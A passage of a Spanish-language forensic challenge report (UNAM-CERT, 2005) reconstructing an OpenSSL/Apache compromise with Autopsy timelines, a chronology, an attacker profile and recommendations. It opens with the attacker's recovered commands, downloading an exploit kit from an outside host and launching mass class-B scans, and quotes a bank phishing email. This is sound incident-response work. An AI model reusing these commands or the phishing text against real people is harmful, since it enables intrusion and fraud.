wget http://www.plus.factory.home.ro/selena.tgz<br />

tar xvfz selena.tgz<br />

cd selena<br />

./assl 217.172<br />

Cuando echamos un ojo a assl resulta ser un shell script que<br />

ejecuta una <strong>de</strong> las variantes <strong>de</strong> exploits que se aprovechan <strong>de</strong> la<br />

vulnerabilidad <strong>de</strong> Apache OpenSSL y realiza escaneos masivos sobre<br />

re<strong>de</strong>s clase b , utiliza el escaner <strong>de</strong> puertos pscan2 para obtener<br />

informacion acerca <strong>de</strong>l puerto 443 y luego ejecuta una variante <strong>de</strong>l<br />

exploit openssl-too-open para obtener acceso, existe una gran<br />

posibilidad <strong>de</strong> que este haya sido el mismo exploit usado para<br />

obtener acceso a nuestro Host. a continuación unas líneas obtenidas<br />

<strong>de</strong> el:<br />

echo "# scanner for the apache 0p3nSSL vuln by insi<strong>de</strong>r"<br />

echo "# PRIVATE PRIVATE PRIVATE"<br />

echo "# DON'T DISTRIBUTE"<br />

echo "----------------------------------------------------"<br />

echo "# starting scan ..."<br />

./pscan2 $1 443<br />

Finalmente echamos un vistazo a la que quedo en la cola <strong>de</strong><br />

correo (En un análisis forense en forma, seria bastante conveniente<br />

solicitar permiso por escrito para ello, recor<strong>de</strong>mos que el correo<br />

electrónico es privado), ahí encontramos 4 archivos 2 vacíos, 1 es<br />

una notificación <strong>de</strong> un correo no entregado a yahoo, y el otro es el<br />

correo, se trata <strong>de</strong> un intento <strong>de</strong> Pishing por parte <strong>de</strong>l atacante<br />

hacia mailpentruspam@yahoo.com para obtener información <strong>de</strong> una cuenta<br />

bancaria, este texto fue encontrado en el correo:<br />

your<br />

<br />

Dear Washington Mutual customer,<br />

WAMU is committed to maintaining a safe environment for its<br />

community of buyers and sellers.Protecting the security of<br />

account and of the Washington Mutual network is our primary<br />

concern. In this respect,as a preventative measure,we have<br />

recently revised your account information data in or<strong>de</strong>r<br />

to assure ourselves that the most advanced security techniques<br />

in the world and our anti-fraud teams regularly screen the<br />

WAMU system for any unusual activity.As our part of the job is<br />

done, there is only one step further for you to take, so that<br />

we can thoroughly guarantee our services. Therefore, if you<br />

are the rightful hol<strong>de</strong>r of the account please fill in the form<br />

below so that we can check the compliance with our database.<br />

25


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Como ejercicio adicional buscamos evi<strong>de</strong>ncia para el mes <strong>de</strong><br />

Febrero con nuestro script usando la linea ./parser.pl "Feb"<br />

RTF/hda3.dd/hda3.dd Feb.txt. Al no encontrar nada corroboramos que<br />

la actividad finalizo el 29 <strong>de</strong> Enero y damos por concluida esta<br />

parte <strong>de</strong>l análisis. Finalmente para corroborar nuestra tesis sobre<br />

el ataque usamos las herramienta <strong>de</strong> Sleuthkit y Autopsy. Dichas<br />

herramientas pue<strong>de</strong>n ser obtenidas <strong>de</strong> http://www.sleuthkit.org, Autopsy<br />

proporciona una herramienta grafica mediante un browser que facilita<br />

el análisis pro bloques <strong>de</strong> las imágenes, en el sitio <strong>de</strong> sleuthkit se<br />

encuentran guías <strong>de</strong>talladas <strong>de</strong> la instalación <strong>de</strong> las herramientas,<br />

nuevamente basados en la i<strong>de</strong>a <strong>de</strong> que este no <strong>de</strong>be ser un manual <strong>de</strong><br />

instalación sino una referencia para el análisis se explica a grosso<br />

modo el uso <strong>de</strong> autopsy, y se <strong>de</strong>ja referencia para quien quiera<br />

ahondar en el tema. Procedamos pues con el análisis, arrancamos<br />

autopsy con el comando ./autopsy, ahora po<strong>de</strong>mos abrir una ventana<br />

<strong>de</strong>l navegador <strong>de</strong> Internet y ver autopsy en el URL<br />

http://localhost:9999/autopsy, en dicha ventana abrimos un nuevo caso con<br />

el botón “New case”:<br />

Llenamos el formulario y guardamos el caso, posteriormente<br />

abrimos el caso con el botón “Open case” y seleccionamos la opción<br />

para agregar un nuevo host, <strong>de</strong>jamos la Zona horaria en blanco ya que<br />

26


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

como vimos anteriormente esta correspon<strong>de</strong> a la ciudad <strong>de</strong> México y<br />

coinci<strong>de</strong> con la instalada en nuestro laboratorio:<br />

---------<br />

Una a una agregamos las imágenes al caso, cuidando que el tipo<br />

coincida linux-ext3 como vimos anteriormente, y cuidando que el<br />

27


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

punto <strong>de</strong> montaje sea el que encontramos en el fstab en un principio,<br />

a excepción <strong>de</strong> hda6.dd que como habíamos visto correspon<strong>de</strong> a memoria<br />

swap por lo que no es necesario especificar punto <strong>de</strong> montaje.<br />

Una vez montadas todas las imágenes po<strong>de</strong>mos navegar por el<br />

sistema <strong>de</strong> archivos simplemente seleccionando la imagen y usando la<br />

utilería File análisis, por ejemplo a navegar hacia /var/log en<br />

hda3.dd vemos la existencia <strong>de</strong> los logs <strong>de</strong>l sistema:<br />

28


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Usamos la utilería “Time Line análisis” para generar una linea<br />

<strong>de</strong> tiempo sobre el sistema, a continuación se exponen algunos<br />

<strong>de</strong>talles <strong>de</strong> dicha linea <strong>de</strong> tiempo, intercalo comentarios en rojo:<br />

Se <strong>de</strong>tiene el servicio <strong>de</strong> nscd<br />

Sat Jan 29 2005 15:14:57 0 .a. l/-rw------- root root 18398<br />

/etc/rc.d/rc2.d/K74nscd (<strong>de</strong>leted)<br />

0 .a. -rw------- root root 18398<br />

<br />

0 .a. -/-rw------- apache root 304012<br />

/var/run/httpd.mm.723.sem<br />

0 .a. -rw------- root root 18399<br />

<br />

0 .a. l/-rw------- root root 18399<br />

/etc/rc.d/rc5.d/K74nscd (<strong>de</strong>leted)<br />

Sat Jan 29 2005 15:15:41 0 .a. -rwxr-xr-x apache apache 959<br />

<br />

El usuario apache intenta editar el archivo sshd_config, lo<br />

que refuerza la teoría <strong>de</strong> que el atacante ingreso con dicho usuario<br />

0 .a. -/-rwxr-xr-x apache apache 959<br />

/etc/ssh/sshd_config~ (<strong>de</strong>leted)<br />

Sat Jan 29 2005 15:16:49 86016 m.c d/drwxr-xr-x root root 31937 /<strong>de</strong>v<br />

252844 m.c -/-rwxr-xr-x root root 47990<br />

/bin/gawk-3.1.0<br />

Evi<strong>de</strong>ncia <strong>de</strong> la infección por el virus RST.b<br />

0 mac -/---------- root root 37434 /<strong>de</strong>v/hdx1<br />

0 mac -/---------- root root 37435<br />

/<strong>de</strong>v/hdx2<br />

252844 m.c -/-rwxr-xr-x root root 47990<br />

/bin/gawk<br />

Evi<strong>de</strong>ncia <strong>de</strong> la creación <strong>de</strong>l usuario weed.<br />

Sat Jan 29 2005 15:17:13 24 mac -/-rw-r--r-- root root 64002<br />

29


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

/home/weed/.bash_logout<br />

/home/weed<br />

4096 m.c d/drwx------ root root 64001<br />

Esta ves autopsy no nos permitió rescatar ningún archivo sin<br />

embargo y como vemos los eventos <strong>de</strong> la linea <strong>de</strong> tiempo generada van<br />

coincidiendo con nuestro análisis, toda la linea fue analiza pero<br />

por cuestiones <strong>de</strong> espacio no se incluyo todo. Dada la evi<strong>de</strong>ncia<br />

consi<strong>de</strong>ramos el análisis concluyente y damos por cerrado el caso. Se<br />

adjunta en los archivos <strong>de</strong> apoyo la linea <strong>de</strong> tiempo generada.<br />

Pasaremos ahora al resumen y exposición <strong>de</strong> resultados.<br />

3 .- Resumen y resultados.<br />

3.1 <strong>–</strong> Resumen y resultados.<br />

Los resultados expuestos y la cronología <strong>de</strong>l ataque se basan<br />

en la hora <strong>de</strong>l Host atacado. Dicho Host tenia como zona horaria<br />

“America/Mexico_City”. El 29 <strong>de</strong> Enero <strong>de</strong>l año en curso se presento<br />

un ataque en contra <strong>de</strong> la maquina cuyo perfil se <strong>de</strong>scribe a<br />

continuación:<br />

Nombre:Finanzas<br />

IP: 192.168.200.128 y 192.168.200.188<br />

Sistema Operativo: Red Hat Linux release 7.3 (Valhalla)<br />

-Dicha maquina había sido reiniciada por ultima vez el el 20<br />

<strong>de</strong> Enero alre<strong>de</strong>dor <strong>de</strong> las 16:33 y estuvo expuesta a una serie <strong>de</strong><br />

ataque <strong>de</strong> diccionario a partir <strong>de</strong> esa fecha, dichos ataques no<br />

rindieron fruto.<br />

-El 29 <strong>de</strong> Enero a las 15:14 aprovechándose <strong>de</strong> una<br />

vulnerabilidad en el OpenSSL 0.9.6b combinado con Apache un atacante<br />

usando la IP 64.202.43.190 perteneciente a Altaway un proveedor <strong>de</strong><br />

Hosting <strong>de</strong> Reno Nevada en los Estados Unidos, logra un introducirse<br />

en el equipo, usando un exploit que se aprovecha <strong>de</strong> una<br />

vulnerabilidad en openSSL a través <strong>de</strong> Apache Web Server y le permite<br />

obtener un shell como el usuario “apache” que es quien ejecutaba el<br />

Web Server.<br />

30


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

-A las 15:16 <strong>de</strong>l mismo día, usando herramientas contenidas en<br />

el paquete za.tgz (zbind, zero, etc), el atacante obtiene una root<br />

shell.<br />

-A partir <strong>de</strong> las 15:16 y hasta las 15:46 aproximadamente, el<br />

atacante estuvo en el equipo con perfil <strong>de</strong> súper usuario, <strong>de</strong>scargo<br />

herramientas que le permitirían mantener el acceso remoto al equipo<br />

(crk.tar.gz, https, sc.tgz, pico) una <strong>de</strong> esas herramientas<br />

(crk.tar.gz) pareciera haber estado contaminada con una variante <strong>de</strong>l<br />

virus RST.b por lo que infecta el equipo. Adicionalmente el atacante<br />

crea y borra un usuario “weed” con perfil <strong>de</strong> superusuario<br />

(Probablemente con el mismo propósito).<br />

-De 15:46 a 17:53 el atacante instala un IRC Proxy Server<br />

llamado psyBNC, sin embargo aparentemente no logra hacerlo<br />

funcionar, no se tiene más indicios <strong>de</strong> actividad <strong>de</strong>l atacante para<br />

ese día<br />

- No se tienen indicios <strong>de</strong> actividad <strong>de</strong>l atacante para el día<br />

30 <strong>de</strong> Enero.<br />

- El día 31 <strong>de</strong> Enero a las 3:12 el atacante entra nuevamente y<br />

reintenta con el psyBNC, en archivo <strong>de</strong> configuración <strong>de</strong>l psyBNC se<br />

encontró el nombre “Angel”.<br />

-Entre 4:02 y 4:12 se modifican una serie archivos en la<br />

maquina entre ellos rpmpkgs que contiene las firmas <strong>de</strong> los programas<br />

instalados en la maquina, probablemente para eludir el análisis<br />

forense.<br />

- Entre 11:52 y 13:31 el atacante <strong>de</strong>scarga dos herramientas<br />

mas selena.tgz y woot.tgz, estos set <strong>de</strong> herramientas permitieron al<br />

atacante convertir el Host en una plataforma para lanzar nuevos<br />

ataques a re<strong>de</strong>s clase “B”, los ataques intentados eran mediante el<br />

exploit <strong>de</strong> la vulnerabilidad <strong>de</strong> Apache + OpenSSL 0.9.6b el primero y<br />

vulnerabilida<strong>de</strong>s en samba el segundo. El archivo selena.tgz contenía<br />

una variante <strong>de</strong>l exploit openssl-too-open, probablemente la misma<br />

usada para vulnerar nuestro Host.<br />

- Entre 13:31 y 15:20 realiza un intento <strong>de</strong> Pishing para<br />

obtener información <strong>de</strong> una cuenta bancaria. No hay más actividad <strong>de</strong>l<br />

atacante o <strong>de</strong>l Host.<br />

31


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

3.2 <strong>–</strong> Perfil y motivación <strong>de</strong>l atacante.<br />

La evi<strong>de</strong>ncia encontrada nos permite clasificar al atacante,<br />

creamos una categoría y dividimos a los Hackers según sus<br />

habilida<strong>de</strong>s y conocimiento en Hackers <strong>de</strong> Elite, Hackers y Script<br />

Kiddie's, siendo los primeros los que tienen el nivel mas elevado y<br />

los últimos el nivel mas bajo, nuestro atacante caería en el nivel<br />

<strong>de</strong> Script Kiddie, el atacante utilizo siempre herramientas<br />

disponibles en la red, <strong>de</strong> las cuales la mayoría tenían firmas ya<br />

conocidas, durante el ataque mostró un comportamiento errático (Por<br />

ejemplo instalo <strong>de</strong> manera fallida varias herramientas para mantener<br />

el acceso remoto cuando solo una le hubiese sido suficiente),<br />

contamino el equipo con una variante <strong>de</strong>l virus RST.b probablemente<br />

<strong>de</strong> manera no intencional (Simplemente no sabia que estaba haciendo)<br />

y problemente haya contaminado también el equipo <strong>de</strong>l cual lanzo el<br />

ataque, <strong>de</strong>jo huellas claras <strong>de</strong> su paso por la maquina, y se arriesgo<br />

bastante para hacer funcionar un servidor Proxy para IRC, finalmente<br />

hizo <strong>de</strong> la maquina una plataforma para lanzar nuevos ataques.<br />

Este tipo <strong>de</strong> atacantes no tienen una motivación especifica,<br />

simplemente es el <strong>de</strong>seo <strong>de</strong> reconocimiento por parte <strong>de</strong> la comunidad<br />

Un<strong>de</strong>rground a la que pertenece y la emoción que le pudo haber<br />

producido el realizar el ataque. Es evi<strong>de</strong>nte que nuestro atacante<br />

hubiera atacado cualquier otra maquina que se topara y que estuviese<br />

vulnerable. Lamentablemente se topo con nuestra maquina.<br />

3.3 <strong>–</strong> Recomendaciones y conclusiones.<br />

El ataque tuvo éxito <strong>de</strong>bido a que no se tuvo el cuidado<br />

a<strong>de</strong>cuado para con la maquina. Se recomienda mantener el sistema<br />

actualizado, a la fecha existen parches y upgra<strong>de</strong>s que permiten<br />

eliminar la vulnerabilidad que aquí fue explotada, un correcto<br />

manejo <strong>de</strong> las actualizaciones <strong>de</strong>l sistema le permitirán mantener un<br />

sistema estable y más seguro. Existen medidas que hubiesen ayudado a<br />

<strong>de</strong>tectar con tiempo el ataque, una buena medida seria tener un<br />

sistema <strong>de</strong> <strong>de</strong>tección <strong>de</strong> intrusos (IDS), existen algunos gratuitos<br />

como “SNORT” www.snort.org/, actualmente existen firmas para este<br />

tipo <strong>de</strong> ataques. también es conveniente mantener un monitoreo <strong>de</strong> los<br />

32


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

servicios que corren en el sistema, hasta el día 31 el servicio <strong>de</strong><br />

HTTPS estuvo fallando, los analizadores <strong>de</strong> logs ya no encontraban<br />

que analizar (Puesto que los logs habían sido borrados), y sin<br />

embargo parece que nadie tomo acciones al respecto.<br />

Finalmente la implementación <strong>de</strong> una cultura <strong>de</strong> la seguridad en<br />

el entorno <strong>de</strong> gente que <strong>de</strong>pen<strong>de</strong> o trabaja con el equipo <strong>de</strong> cómputo<br />

(En este caso nuestro Host “Finanzas”), será <strong>de</strong>terminante para<br />

evitar este tipo <strong>de</strong> inci<strong>de</strong>ntes en un futuro. Finalizo esta parte con<br />

una frase que me <strong>de</strong>jo uno <strong>de</strong> mis maestros: “La ca<strong>de</strong>na <strong>de</strong> la<br />

seguridad se rompe por el eslabón mas débil, y dicho eslabón suele<br />

ser aquel en que se invierte menos dinero”. La información también<br />

es un valor que <strong>de</strong>be ser protegido.<br />

4 .- Agra<strong>de</strong>cimientos.<br />

Regularmente no incluiría esto en un reporte, pero no puedo<br />

concluir sin agra<strong>de</strong>cer a los organizadores <strong>de</strong>l <strong>Reto</strong> <strong>Forense</strong> por<br />

darnos esta oportunidad <strong>de</strong> aprendizaje, la experiencia ha resultado<br />

ser enorme. El análisis aquí presentado es una muestra <strong>de</strong> la<br />

investigación realizada, hasta la fecha no he encontrado una<br />

metodología <strong>de</strong> análisis (Quizás sea por un hacker no tiene una<br />

metodología <strong>de</strong> ataque), sin embargo la mayoría lo he aprendido <strong>de</strong><br />

manuales, libros y guías que he encontrado en la red, espero que<br />

este análisis sirva a alguien mas, <strong>de</strong> la forma que a mi me han<br />

servido los análisis realizados por otros. Agra<strong>de</strong>zco a<strong>de</strong>más a la<br />

gente que me apoyo durante la realización <strong>de</strong> la investigación, a la<br />

gente <strong>de</strong> la lista <strong>de</strong> ANAFON y por supuesto a mi amada esposa Gaby,<br />

que me <strong>de</strong>jo <strong>de</strong>svelarme estos días para po<strong>de</strong>r llevar a cabo esta<br />

investigación ;-).<br />

33


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Anexo 1.<br />

Scripts para montar y <strong>de</strong>smontar las imágenes .dd<br />

monta.sh<br />

#!/bin/bash<br />

#Este script monta las imágenes dd, sustituya el directorio<br />

#don<strong>de</strong> se encuentran los archivos y el directorio don<strong>de</strong> se<br />

#montaran y ejecute ./monta.sh<br />

#<br />

#<br />

mount -ro,loop /windows/RTF/hda1.dd/hda1.dd /mnt/escena<br />

mount -ro,loop /windows/RTF/hda2.dd/hda2.dd /mnt/escena/home<br />

mount -ro,loop /windows/RTF/hda3.dd/hda3.dd /mnt/escena/var<br />

mount -ro,loop /windows/RTF/hda5.dd/hda5.dd /mnt/escena/usr<br />

echo “listo”<br />

<strong>de</strong>smonta.sh<br />

#!/bin/bash<br />

#Este script le permite <strong>de</strong>smontar los archivos dd, sustituya<br />

#el directorio don<strong>de</strong> están montados y ejecute, ./<strong>de</strong>smonta.sh<br />

#<br />

#<br />

umount /mnt/escena/home<br />

umount /mnt/escena/var<br />

umount /mnt/escena/usr<br />

umount /mnt/escena<br />

echo “listo”<br />

34


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Anexo 2.<br />

Scripts que busca líneas en los archivos dd en base a un<br />

patrón<br />

./parser.sh<br />

#!/usr/bin/perl<br />

# parser.pl por Juan Hurtado<br />

# Busca líneas que contengan una palabra clave<br />

# Use ./parser.pl palabraclave archivoentrada archivosalida<br />

# El autor lo autoriza para que modifique y use este script<br />

# libremente, mientras mantenga una referencia al nombre <strong>de</strong>l<br />

# autor.<br />

$keyword=@ARGV[0];<br />

$inputfile=@ARGV[1];<br />

$outputfile=@ARGV[2];<br />

open(SALIDA,"> $outputfile");<br />

open(FILE,"< $inputfile");<br />

while(){<br />

print SALIDA if /$keyword/;<br />

}<br />

close(FILE);<br />

close(SALIDA);<br />

print “Finalizado\n”;<br />

35


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Anexo 3.<br />

análisis por fechas <strong>de</strong> archivos ya or<strong>de</strong>nado.<br />

29 ene 4:02 /var/www/html/usage daily_usage_200501.png<br />

29 ene 4:02 /var/www/html/usage usage.png<br />

29 ene 4:02 /var/www/html/usage usage_200501.html<br />

29 ene 4:02 /var/www/html/usage in<strong>de</strong>x.html<br />

29 ene 4:02 /var/www/html/usage hourly_usage_200501.png<br />

29 ene 4:02 /var/www/html/usage ctry_usage_200501.png<br />

29 ene 4:02 /var/lib/webalizer webalizer.current<br />

29 ene 4:02 /var/lib/webalizer webalizer.hist<br />

29 ene 15:16 / <strong>de</strong>v<br />

29 ene 15:16 /bin gawk-3.1.0<br />

29 ene 15:16 /bin gawk<br />

29 ene 15:16 /<strong>de</strong>v hdx2<br />

29 ene 15:16 /<strong>de</strong>v hdx1<br />

29 ene 15:16 /<strong>de</strong>v .<br />

29 ene 15:16 /<strong>de</strong>v/shm ..<br />

29 ene 15:16 /<strong>de</strong>v/pts ..<br />

29 ene 15:16 /<strong>de</strong>v/ataraid ..<br />

29 ene 15:16 /<strong>de</strong>v/dri ..<br />

29 ene 15:16 /<strong>de</strong>v/cpu ..<br />

29 ene 15:16 /<strong>de</strong>v/compaq ..<br />

29 ene 15:16 /<strong>de</strong>v/cciss ..<br />

29 ene 15:16 /<strong>de</strong>v/i2o ..<br />

29 ene 15:16 /<strong>de</strong>v/raw ..<br />

29 ene 15:16 /<strong>de</strong>v/logicalco ..<br />

29 ene 15:16 /<strong>de</strong>v/input ..<br />

29 ene 15:16 /<strong>de</strong>v/inet ..<br />

29 ene 15:16 /<strong>de</strong>v/ida ..<br />

29 ene 15:16 /<strong>de</strong>v/rd ..<br />

29 ene 15:16 /<strong>de</strong>v/vi<strong>de</strong>o ..<br />

29 ene 15:16 /<strong>de</strong>v/usb ..<br />

29 ene 15:17 / home<br />

29 ene 15:17 /var/spool/mail weed<br />

29 ene 15:17 /home weed<br />

29 ene 15:17 /home .<br />

29 ene 15:17 /home/lost? ..<br />

29 ene 15:17 /home/Contador ..<br />

29 ene 15:17 /home/weed .bashrc<br />

29 ene 15:17 /home/weed .bash_profile<br />

29 ene 15:17 /home/weed .bash_logout<br />

29 ene 15:17 /home/weed ..<br />

29 ene 15:17 /home/weed .<br />

29 ene 15:18 /etc passwd-<br />

29 ene 15:19 /lib libproc.so<br />

29 ene 15:20 / .<br />

29 ene 15:20 /opt ..<br />

29 ene 15:20 /initrd ..<br />

29 ene 15:20 /misc ..<br />

29 ene 15:20 /lost? ..<br />

29 ene 15:20 /proc ..<br />

29 ene 15:20 /usr ..<br />

29 ene 15:20 /boot ..<br />

29 ene 15:20 /var ..<br />

29 ene 15:20 /bin ..<br />

36


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

29 ene 15:20 /mnt ..<br />

29 ene 15:20 /<strong>de</strong>v ..<br />

29 ene 15:20 /home ..<br />

29 ene 15:20 /lib ..<br />

29 ene 15:20 /sbin ..<br />

29 ene 15:20 /root ..<br />

29 ene 15:20 /etc ..<br />

29 ene 15:20 /tmp ..<br />

29 ene 15:21 / lib<br />

29 ene 15:21 /usr inclu<strong>de</strong><br />

29 ene 15:21 /usr/inclu<strong>de</strong> hosts.h<br />

29 ene 15:21 /usr/inclu<strong>de</strong> .<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/pwdb ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/sp ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/pgsql ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/libpq ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/libpq ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/kpathsea ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/apache ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/lwres ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/isccfg ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/isccc ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/isc ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/dst ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/dns ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/curl ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/db2 ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/db1 ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/db3 ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/uuid ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/ss ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/ext2fs ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/et ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/gdbm ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/asm ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/linux ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/gnu ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/bits ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/arpa ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/sys ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/scsi ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/rpcsvc ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/rpc ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/protocols ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/nfs ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netrose ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netrom ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netpacket ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netipx ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netinet ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/neteconet ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netax25 ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netatalk ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/netash ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/net ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/g3 ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/libuser ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/libxml2 ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/ncurses ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/openssl ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/security ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/parted ..<br />

37


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

29 ene 15:21 /usr/inclu<strong>de</strong>/pci ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/kudzu ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/php ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/pcre ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/pspell ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/aspell ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/python1.5 ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/readline ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/rpm ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/slang ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/libmilter ..<br />

29 ene 15:21 /usr/inclu<strong>de</strong>/mysql ..<br />

29 ene 15:21 /bin chmod<br />

29 ene 15:21 /lib libext-2.so.7<br />

29 ene 15:21 /lib .<br />

29 ene 15:21 /lib/i686 ..<br />

29 ene 15:21 /lib/kbd ..<br />

29 ene 15:21 /lib/iptables ..<br />

29 ene 15:21 /lib/modules ..<br />

29 ene 15:21 /lib/security ..<br />

29 ene 15:21 /etc ld.so.hash<br />

29 ene 15:21 /etc ld.so.cache<br />

29 ene 15:21 /etc/rc.d init.d<br />

29 ene 15:21 /etc/rc.d/init.d cycomm<br />

29 ene 15:21 /etc/rc.d/init.d .<br />

29 ene 15:22 / sbin<br />

29 ene 15:22 / root<br />

29 ene 15:22 /sbin initsk12<br />

29 ene 15:22 /sbin init<br />

29 ene 15:22 /sbin .<br />

29 ene 15:22 /root .bash_history<br />

29 ene 15:22 /root .<br />

29 ene 15:22 /root .ssh<br />

29 ene 15:22 /root/.ssh ..<br />

29 ene 15:22 /root/.ssh known_hosts<br />

29 ene 15:22 /root/.ssh .<br />

29 ene 15:22 /etc shadow-<br />

29 ene 15:25 / etc<br />

29 ene 15:25 /etc shadow<br />

29 ene 15:25 /etc passwd<br />

29 ene 15:25 /etc .<br />

29 ene 15:25 /etc/opt ..<br />

29 ene 15:25 /etc/cron.hourly ..<br />

29 ene 15:25 /etc/httpd ..<br />

29 ene 15:25 /etc/dhcpc ..<br />

29 ene 15:25 /etc/<strong>de</strong>fault ..<br />

29 ene 15:25 /etc/skel ..<br />

29 ene 15:25 /etc/iproute2 ..<br />

29 ene 15:25 /etc/make<strong>de</strong>v.d ..<br />

29 ene 15:25 /etc/hotplug ..<br />

29 ene 15:25 /etc/security ..<br />

29 ene 15:25 /etc/openldap ..<br />

29 ene 15:25 /etc/alternatives ..<br />

29 ene 15:25 /etc/mail ..<br />

29 ene 15:25 /etc/rpm ..<br />

29 ene 15:25 /etc/X11 ..<br />

29 ene 15:25 /etc/rc.d ..<br />

29 ene 15:25 /etc/profile.d ..<br />

29 ene 15:25 /etc/ppp ..<br />

29 ene 15:25 /etc/locale ..<br />

29 ene 15:25 /etc/mrtg ..<br />

29 ene 15:26 /var/log<br />

38


